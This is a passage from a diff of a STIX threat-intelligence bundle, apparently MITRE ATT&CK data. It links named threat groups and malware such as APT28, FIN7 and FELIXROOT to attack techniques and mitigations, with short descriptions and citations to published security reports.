"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A", + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "source_name": "US-CERT FALLCHILL Nov 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cf237fa7-165c-463a-90bb-aa6e20de5249", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) uses Port Numbers 443, 8443, and 8080 for C2 communications.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "modified": "2019-01-30T13:42:09.719Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--baf31b81-e175-49e3-b2d9-d7552ea902a1", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) uses character replacement, [PowerShell](https://attack.mitre.org/techniques/T1059/001) environment variables, and XOR encoding to obfuscate code. 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Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", + "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020.", + "source_name": "TrendMicro POWERSTATS V3 June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--658fcd28-934d-4077-b93e-89af9512de5f", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can encrypt payloads using XOR. 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Retrieved June 25, 2018.", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cce31baa-5862-4df5-806f-15aaa7410fa5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263 to escalate privileges.(Citation: Bitdefender APT28 Dec 2015)(Citation: Microsoft SIR Vol 19)(Citation: Securelist Sofacy Feb 2018)", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "modified": "2019-12-20T14:26:01.157Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.039Z", + "external_references": [ + { + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015" + }, + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + }, + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bad90106-a150-4d76-b39f-f35aab4ac766", + "description": "[Rover](https://attack.mitre.org/software/S0090) has functionality to remove Registry Run key persistence as a cleanup procedure.(Citation: Palo Alto Rover)", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2020-03-16T17:46:07.789Z", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/", + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "source_name": "Palo Alto Rover" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--489e5386-b177-455f-a8b3-d3c6e7afb9b1", + "description": "(Citation: Dell TG-1314)", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "modified": "2019-03-25T17:01:21.308Z", + "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.064Z", + "external_references": [ + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2121683c-ab01-4212-b2d2-af290dd8ed17", + "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) communicates with its C2 server over HTTP.(Citation: FireEye APT10 April 2017)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T02:35:07.141Z", + "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e090281c-4ab9-4b6f-ab63-f22606f7e620", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used a Batch file to automate frequently executed post compromise cleanup activities.(Citation: FireEye Know Your Enemy FIN8 Aug 2016) [FIN8](https://attack.mitre.org/groups/G0061) has also executed commands remotely via [cmd](https://attack.mitre.org/software/S0106).(Citation: FireEye Obfuscation June 2017)(Citation: Bitdefender FIN8 July 2021)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2021-09-15T14:37:11.045Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + }, + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation", + "description": "Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.", + "source_name": "Bitdefender FIN8 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--758b6582-b988-4ab9-911e-e40c9bbebc2d", + "target_ref": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d", + "modified": "2020-01-24T15:43:25.413Z", + "source_ref": "course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.031Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--292b2a10-ebee-4fbb-b359-2eee16aa46ba", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) encrypts data with a substitute cipher prior to exfiltration.(Citation: CopyKittens Nov 2015)", + "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", + "modified": "2020-03-30T02:00:38.251Z", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "CopyKittens Nov 2015", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--20b90b04-4ce1-4e9a-9dbb-9fc93569d3e1", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used shellcode to download Meterpreter after compromising a victim.(Citation: ESET Turla Mosquito May 2018)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2020-03-20T19:12:22.532Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito May 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9a8ca137-d0ec-4861-ad1b-0686bf6ac4c9", + "target_ref": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87", + "modified": "2020-03-28T00:35:24.675Z", + "source_ref": "course-of-action--a98be93b-a75b-4dd4-8a72-4dfd0b5e25bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--51afbe4e-c5cd-4acd-b4e1-ff7877b78b9e", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) spear phishing campaigns have included malicious Word documents with DDE execution.(Citation: CyberScoop FIN7 Oct 2017)", + "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "modified": "2019-06-30T23:13:18.421Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "CyberScoop FIN7 Oct 2017", + "description": "Waterman, S. (2017, October 16). Fin7 weaponization of DDE is just their latest slick move, say researchers. Retrieved November 21, 2017.", + "url": "https://www.cyberscoop.com/fin7-dde-morphisec-fileless-malware/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0c1f6d5f-3094-4834-94a9-5a615e7c319c", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) takes a screenshot of the screen and displays it on top of all other windows for few seconds in an apparent attempt to hide some messages showed by the system during the setup process.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2019-08-12T17:30:07.417Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. 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New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "source_name": "Palo Alto Rover" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5bd3526a-1ae2-4b09-8be7-0eef6ae33155", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used exploits to increase their levels of rights and privileges.(Citation: Group IB Cobalt Aug 2017)", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "modified": "2019-07-26T23:38:33.747Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. 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(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-12-09T21:54:33.172Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018" + }, + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018" + }, + { + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "source_name": "Unit42 Sofacy Dec 2018" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020.", + "source_name": "CISA Zebrocy Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6a09f442-6a2a-455a-ad8d-6aa192995de3", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) lists running processes.(Citation: FireEye CARBANAK June 2017)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2020-02-11T15:55:06.489Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5978c8e0-8b60-4ad5-8fc9-9fa1ee4d7387", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "modified": "2020-03-20T15:22:53.960Z", + "source_ref": "course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.024Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cb046be9-87c4-4dbd-b01f-9771aa4f2552", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has gathered hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)", + "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "modified": "2019-03-22T20:13:49.516Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--029bdc73-5054-45eb-b9d0-e4281f69d85a", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent spearphishing emails with various attachment types to corporate and personal email accounts of victim organizations. Attachment types have included .rtf, .doc, .xls, archives containing LNK files, and password protected archives containing .exe and .scr executables.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: Unit 42 Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2019-07-26T23:38:33.783Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + }, + { + "source_name": "Proofpoint Cobalt June 2017", + "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target" + }, + { + "source_name": "RiskIQ Cobalt Nov 2017", + "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-strike/" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/", + "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.", + "source_name": "Unit 42 Cobalt Gang Oct 2018" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0d9114a6-6452-4668-95eb-f91bcb300d2d", + "description": "[TEXTMATE](https://attack.mitre.org/software/S0146) uses DNS TXT records for C2.(Citation: FireEye FIN7 March 2017)", + "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", + "modified": "2020-03-17T02:41:51.011Z", + "source_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "source_name": "FireEye FIN7 March 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4aecd118-a823-4859-9245-90155a0bbe11", + "target_ref": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63", + "modified": "2020-03-30T13:44:04.877Z", + "source_ref": "course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.023Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3bcfc38f-5fe8-4c66-8352-d3ba71c4f3ec", + "description": "[APT19](https://attack.mitre.org/groups/G0073) configured its payload to inject into the rundll32.exe.(Citation: FireEye APT19)", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "modified": "2019-04-25T11:39:52.119Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--49dd2ac1-cd3a-46db-89d7-307c65971a3d", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "modified": "2020-03-20T19:53:25.764Z", + "source_ref": "course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.024Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--059f8b03-59f9-45da-9c12-862f50e5fe45", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has used batch scripts and scheduled tasks to delete critical system files.(Citation: FireEye FIN10 June 2017)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2019-04-25T12:09:56.287Z", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf", + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "source_name": "FireEye FIN10 June 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f3c37734-1f69-44ee-9e27-480ba68c79f4", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) launches a scheduled task.(Citation: 